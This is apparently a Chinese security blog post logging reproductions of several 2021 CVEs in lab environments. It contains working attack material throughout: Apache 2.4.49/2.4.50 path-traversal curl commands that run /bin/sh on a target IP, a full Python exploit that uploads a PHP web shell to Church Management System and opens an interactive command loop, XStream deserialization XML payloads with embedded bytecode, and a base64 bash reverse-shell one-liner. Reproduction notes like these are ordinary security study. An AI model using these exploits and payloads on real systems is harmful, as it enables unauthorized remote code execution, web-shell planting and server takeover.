If-None-Match: "29cd-5d5e980f21bc0-gzip"
Cache-Control: max-age=0
Content-Length: 7

echo;id
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curl --data "echo;whoami" http://39.106.48.123:29675/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

CVE-2021-42013

介绍：

由于对CVE-2021-41773的修复不充分，攻击者可以使用路径遍历攻击，将URL映射到由类似别名的指令配置的目录之外的文件，如果这些目录外的文件没有受到默认配置”require all denied “的保护，则这些恶意请求就会成功。如果还为这些别名路径启用了 CGI 脚本，则能够导致远程代码执行。

影响版本 Apache 2.4.49 Apache 2.4.50

将之前的2e再进行一次url编码替换即可

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curl -X POST http://39.106.48.123:42315/cgi-bin/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/flag
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POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: xxx.xxx.xxx.xxx:8080
User-Agent: Mozilla/5.0 (X11; FreeBSD i386 6.73; rv:220.59) Gecko/20100101  Chrome/175.28 OPR/220.59;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 14 Oct 2021 06:00:45 GMT
If-None-Match: "29cd-5ce49cca73d40-gzip"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

echo;id

好nb的漏洞！

CVE-2021-41643

介绍：

Online Reviewer System是一个应用软件。一个在线评论系统。 Sourcecodester Online Reviewer System 1.0版本存在安全漏洞，攻击者可以通过图像上传字段来执行远程代码

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POST /classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------91105564325608762312322546550
Content-Length: 859
Origin: http://localhost
Connection: close
Referer: http://localhost/church_management/admin/?page=user
Cookie: PHPSESSID=nbt4d6o8udue0v82bvasfjkm90
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="id"

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-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="firstname"

Adminstrator
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="username"

admin
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="password"


-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php echo phpinfo(); ?>
-----------------------------91105564325608762312322546550--

exp: https://www.exploit-db.com/exploits/50306

上传的文件路径和文件名还和当前的时间戳有关

这里是上传成功了但不知道路径

Communicate with the webshell at ‘uploads/1632085200_phpinfo.php?cmd=dir’ using GET Requests.

前面的1632085200需要根据当前的时间来得到

所以还是直接跑exp吧

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# Exploit Title: Church Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-20
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Church Management System (CMS-Website) 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.

# Exploit Details:

# 1. Access the 'classes/Users.php', as it does not check for an authenticated user session.
# 2. Set the 'f' parameter of the POST request to 'save'.
#     - `Users.php?f=save`
# 3. Capture request in burp and replace with with following request.
'''
POST /church_management/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------91105564325608762312322546550
Content-Length: 859
Origin: http://localhost
Connection: close
Referer: http://localhost/church_management/admin/?page=user
Cookie: PHPSESSID=nbt4d6o8udue0v82bvasfjkm90
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="id"

1
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="firstname"

Adminstrator
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="username"

admin
-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="password"


-----------------------------91105564325608762312322546550
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php echo phpinfo(); ?>
-----------------------------91105564325608762312322546550--

'''
#   ` Image uploader is renaming your payload using the following function.
         # strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
         # you can simply go to any online php compile website like https://www.w3schools.com/php/phptryit.asp?filename=tryphp_compiler
         # and print this function to get the value. e.g: <?php echo strtotime(date('y-m-d H:i')); ?> Output: 1632085200
         # concate output with your playload name like this 1632085200_phpinfo.php
# 4. Communicate with the webshell at 'uploads/1632085200_phpinfo.php?cmd=dir' using GET Requests.

# RCE via executing exploit:
    # Step 1: run the exploit in python with this command: python3 CMS-RCEv1.0.py
    # Step 2: Input the URL of the vulnerable application: Example: http://localhost/church_management/


import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

header = Style.BRIGHT+Fore.RED+'              '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+"               Church Management System v1.0")
print(Style.BRIGHT+"            Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""

                        
                                                                                 .----------. 
                                                                 .-''-.         /          /  
     .                            __  __   ___                 .' .-.  )       /   ______.'   
   .'|                           |  |/  `.'   `.              / .'  / /       /   /_          
 .'  |                           |   .-.  .-.   '            (_/   / /       /      '''--.    
<    |            __        __   |  |  |  |  |  | ,.----------.   / /       '___          `.  
 |   | ____    .:--.'.   .:--.'. |  |  |  |  |  |//            \ / /            `'.         | 
 |   | \ .'   / |   \ | / |   \ ||  |  |  |  |  |\\            /. '                )        | 
 |   |/  .    `" __ | | `" __ | ||  |  |  |  |  | `'----------'/ /    _.-')......-'        /  
 |    /\  \    .'.''| |  .'.''| ||__|  |__|  |__|            .' '  _.'.-'' \          _..'`   
 |   |  \  \  / /   | |_/ /   | |_                          /  /.-'_.'      '------'''        
 '    \  \  \ \ \._,\ '/\ \._,\ '/                         /    _.'                           
'------'  '---'`--'  `"  `--'  `"                         ( _.-'                              

                            abdullahkhawaja.com
            """)



GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}



s = requests.Session() 


  
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")


def webshell(LINK, session):
    try:
        WEB_SHELL = LINK+'uploads/'+filename
        getdir  = {'cmd': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = input(term)
            command = {'cmd': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)


#Creating a PHP Web Shell

phpshell  = {
               'img': 
                  (
                   'shell.php', 
                   '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 
                   'application/octet-stream', 
                  {'Content-Disposition': 'form-data'}
                  ) 
             }

# Defining value for form data
data = {'id':'1', 'firstname':'Adminstrator', 'lastname':'Admin','username':'admin','password':''}


def id_generator():
    x = datetime.datetime.now()
    date_string = x.strftime("%y-%m-%d %H:%M")
    date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
    timestamp = datetime.datetime.timestamp(date)
    file = int(timestamp)
    final_name = str(file)+'_shell.php'
    return final_name

filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'classes/Users.php?f=save', cookies=cookies, files=phpshell, data=data)

shell_upload = True if("Undefined index: id in" in upload.text) else False
u=shell_upload
if u:
	print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
	print(RED+"[-]Failed To Upload The PHP Shell!", RESET)



#Executing The Webshell
webshell(LINK, s)

CVE-2021-40097

介绍：

concrete cms后台rce

bFilename参数在editing layout design过程中可以通过抓包工具进行赋值，在后台渲染页面返回给前端的时候包含了该文件，前提要通过后台上传一个图片格式文件（内含php马），拿到返回路径后通过../../的格式设置路径，从而达到包含。

分析文章：https://xz.aliyun.com/t/11248

https://hackerone.com/reports/1102067

环境开不起来，下一个

CVE-2021-39608

介绍：

FlatCore CMS 2.0.7 - Remote Code Execution

https://github.com/flatCore/flatCore-CMS/issues/52

访问后台路径/acp，爆不出弱口令，寄，该不会也是没连接好数据库吧。。。

CVE-2021-39153

介绍：

XStream是一个常用的Java对象和XML相互转换的工具。XStream 反序列化漏洞。攻击者通过构造恶意的XML文档，可绕过XStream的黑名单，触发反序列化，从而造成 反序列化代码执行漏洞。

影响版本：< 1.4.18

JDK版本限制在8到14且要求同时安装了JavaFX

https://x-stream.github.io/CVE-2021-39153.html

详细分析：https://xz.aliyun.com/t/10360

有空跟一下

poc

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<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
        <outer-class>
          <verbose>0</verbose>
          <effort>0</effort>
          <optDumpBands>false</optDumpBands>
          <optDebugBands>false</optDebugBands>
          <optVaryCodings>false</optVaryCodings>
          <optBigStrings>false</optBigStrings>
          <isReader>false</isReader>
          <bandHeaderBytePos>0</bandHeaderBytePos>
          <bandHeaderBytePos0>0</bandHeaderBytePos0>
          <archiveOptions>0</archiveOptions>
          <archiveSize0>0</archiveSize0>
          <archiveSize1>0</archiveSize1>
          <archiveNextCount>0</archiveNextCount>
          <attrClassFileVersionMask>0</attrClassFileVersionMask>
          <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
            <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                  <__name>Pwnr</__name>
                  <__bytecodes>
                    <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDU0MTY0NDMxMDIwMTkBACBMeXNvc2VyaWFsL1B3bmVyMjA1NDE2NDQzMTAyMDE5OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==</byte-array>
                    <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                  </__bytecodes>
                  <__transletIndex>-1</__transletIndex>
                  <__indentNumber>0</__indentNumber>
                </default>
                <boolean>false</boolean>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </bean>
            <localCache>
              <methods>
                <entry>
                  <string>getOutputProperties</string>
                  <list>
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>getOutputProperties</name>
                      <parameter-types/>
                    </method>
                  </list>
                </entry>
              </methods>
            </localCache>
          </attrIndexTable>
          <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
        </outer-class>
      </comparator>
    </default>
    <int>3</int>
    <string-array>
      <string>yxxx</string>
      <string>outputProperties</string>
    </string-array>
    <string-array>
      <string>yxxx</string>
    </string-array>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

拿CVE-2021-39149打的，这个cve限制更少

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<linked-hash-set>
    <dynamic-proxy>
        <interface>map</interface>
        <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
            <classToInvocationHandler class='linked-hash-map'/>
            <defaultHandler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Object</providerType>
                <probes>
                    <entry>
                        <method>
                            <class>java.lang.Object</class>
                            <name>hashCode</name>
                            <parameter-types/>
                        </method>
                        <sun.tracing.dtrace.DTraceProbe>
                            <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                                    <default>
                                        <__name>Pwnr</__name>
                                        <__bytecodes>
                                            <byte-array>yv66vgAAADEAJgEADlQ2ODY5MDc3MTM3MTAwBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABNUNjg2OTA3NzEzNzEwMC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAEGphdmEvbGFuZy9TdHJpbmcHABABAAY8aW5pdD4BAAUoW0IpVgwAEgATCgARABQBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAWABcKAAsAGAEADVN0YWNrTWFwVGFibGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAbAQAUamF2YS9pby9TZXJpYWxpemFibGUHAB0BABBzZXJpYWxWZXJzaW9uVUlEAQABSgWtIJPzkd3vPgEADUNvbnN0YW50VmFsdWUMABIACAoAHAAkACEAAgAcAAEAHgABABoAHwAgAAEAIwAAAAIAIQACAAgABwAIAAEACQAAAFEACAACAAAAPKcAAwFMuAAPuwARWRAGvAhZAxB3kVRZBBBokVRZBRBvkVRZBhBhkVRZBxBtkVRZCBBpkVS3ABW2ABlXsQAAAAEAGgAAAAMAAQMAAQASAAgAAQAJAAAAEQABAAEAAAAFKrcAJbEAAAAAAAEABQAAAAIABg==</byte-array>
                                            <byte-array>yv66vgAAADEAEwEAA0ZvbwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIRm9vLmphdmEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQcABwEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQEABjxpbml0PgEAAygpVgwADgAPCgAEABABAARDb2RlACEAAgAEAAEACAABABoACQAKAAEADQAAAAIACwABAAEADgAPAAEAEgAAABEAAQABAAAABSq3ABGxAAAAAAABAAUAAAACAAY=</byte-array>
                                            
                                        </__bytecodes>
                                        <__transletIndex>-1</__transletIndex>
                                        <__indentNumber>0</__indentNumber>
                                    </default>
                                    <boolean>false</boolean>
                                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                            </proxy>
                            <implementing__method>
                                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                                <name>getOutputProperties</name>
                                <parameter-types/>
                            </implementing__method>
                        </sun.tracing.dtrace.DTraceProbe>
                    </entry>
                </probes>
            </defaultHandler>
        </handler>
    </dynamic-proxy>
</linked-hash-set>

执行whoami，唉没打通，本地是能弹计算器的

无回显，也没条件写内存马，随便写个xml去dnslog倒是成功了

刚刚傻了，无回显可以反弹shell

java命令执行payloads - 小草窝博客 (hacking8.com)

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bash -c {echo,YmFz.....c3NyAwPiYx}|{base64,-d}|{bash,-i}
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4
<__bytecodes>
                                            <byte-array>yv66vgAAADEAJgEADlQ4ODU5NjEzNTAzOTAwBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABNUODg1OTYxMzUwMzkwMC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAEGphdmEvbGFuZy9TdHJpbmcHABABAAY8aW5pdD4BAAUoW0IpVgwAEgATCgARABQBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAWABcKAAsAGAEADVN0YWNrTWFwVGFibGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAbAQAUamF2YS9pby9TZXJpYWxpemFibGUHAB0BABBzZXJpYWxWZXJzaW9uVUlEAQABSgWtIJPzkd3vPgEADUNvbnN0YW50VmFsdWUMABIACAoAHAAkACEAAgAcAAEAHgABABoAHwAgAAEAIwAAAAIAIQACAAgABwAIAAEACQAAArIACAACAAACnacAAwFMuAAPuwARWRBdvAhZAxBikVRZBBBhkVRZBRBzkVRZBhBokVRZBxAgkVRZCBAtkVRZEAYQY5FUWRAHECCRVFkQCBB7kVRZEAkQZZFUWRAKEGORVFkQCxBokVRZEAwQb5FUWRANECyRVFkQDhBZkVRZEA8QbZFUWRAQEEaRVFkQERB6kVRZEBIQYZFUWRATEEORVFkQFBBBkVRZEBUQdJFUWRAWEGGRVFkQFxBTkVRZEBgQQZFUWRAZECuRVFkQGhBKkVRZEBsQaZFUWRAcEEGRVFkQHRB2kVRZEB4QWpFUWRAfEEeRVFkQIBBWkVRZECEQMpFUWRAiEEyRVFkQIxAzkVRZECQQUpFUWRAlEGqRVFkQJhBjkVRZECcQQ5FUWRAoEDiRVFkQKRA0kVRZECoQTJFUWRArEGqRVFkQLBBFkVRZEC0QepFUWRAuEE2RVFkQLxBDkVRZEDAQNJFUWRAxEHqRVFkQMhBOkVRZEDMQU5FUWRA0EDSRVFkQNRB4kVRZEDYQTpFUWRA3EESRVFkQOBBnkVRZEDkQdpFUWRA6EE6RVFkQOxB6kVRZEDwQY5FUWRA9EDORVFkQPhBOkVRZED8QeZFUWRBAEEGRVFkQQRB3kVRZEEIQUJFUWRBDEGmRVFkQRBBZkVRZEEUQeJFUWRBGEH2RVFkQRxB8kVRZEEgQe5FUWRBJEGKRVFkQShBhkVRZEEsQc5FUWRBMEGWRVFkQTRA2kVRZEE4QNJFUWRBPECyRVFkQUBAtkVRZEFEQZJFUWRBSEH2RVFkQUxB8kVRZEFQQe5FUWRBVEGKRVFkQVhBhkVRZEFcQc5FUWRBYEGiRVFkQWRAskVRZEFoQLZFUWRBbEGmRVFkQXBB9kVS3ABW2ABlXsQAAAAEAGgAAAAMAAQMAAQASAAgAAQAJAAAAEQABAAEAAAAFKrcAJbEAAAAAAAEABQAAAAIABg==</byte-array>
                                            <byte-array>yv66vgAAADEAEwEAA0ZvbwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIRm9vLmphdmEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQcABwEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQEABjxpbml0PgEAAygpVgwADgAPCgAEABABAARDb2RlACEAAgAEAAEACAABABoACQAKAAEADQAAAAIACwABAAEADgAPAAEAEgAAABEAAQABAAAABSq3ABGxAAAAAAABAAUAAAACAAY=</byte-array>
                                        </__bytecodes>

再去生成byte-array，并替换掉payload中的byte-array，然后url编码一次，发送

CVE-2021-39149

介绍：

XStream是一个常用的Java对象和XML相互转换的工具。XStream 反序列化漏洞。攻击者通过构造恶意的XML文档，可绕过XStream的黑名单，触发反序列化，从而造成 反序列化代码执行漏洞等。

这个cve是限制最少的，算是最好用的

同上

CVE-2021-39146

介绍：

XStream是一个常用的Java对象和XML相互转换的工具。XStream 反序列化漏洞。攻击者通过构造恶意的XML文档，可绕过XStream的黑名单，触发反序列化，从而造成 反序列化代码执行漏洞等。

同上，换成get传参

CVE-2021-39144

介绍：

XStream是一个常用的Java对象和XML相互转换的工具。XStream 反序列化漏洞。攻击者通过构造恶意的XML文档，可绕过XStream的黑名单，触发反序列化，从而造成 反序列化代码执行漏洞等。

同上

CVE-2021-39139

介绍：

XStream是一个常用的Java对象和XML相互转换的工具。XStream 反序列化漏洞。攻击者通过构造恶意的XML文档，可绕过XStream的黑名单，触发反序列化，从而造成 反序列化代码执行漏洞等。

同上

CVE-2021-3291

介绍：

**Zen Cart 1.5.7b **管理员通过检查HTML radiobox元素（在模块编辑页面内），通过插入命令来执行任意命令。

https://github.com/MucahitSaratar/zencart_auth_rce_poc

信息安全
#复现 #cve
一些cve的复现
https://www.supersmallblack.cn/CVE复现.html
作者
Small Black
发布于
2024年1月26日
许可协议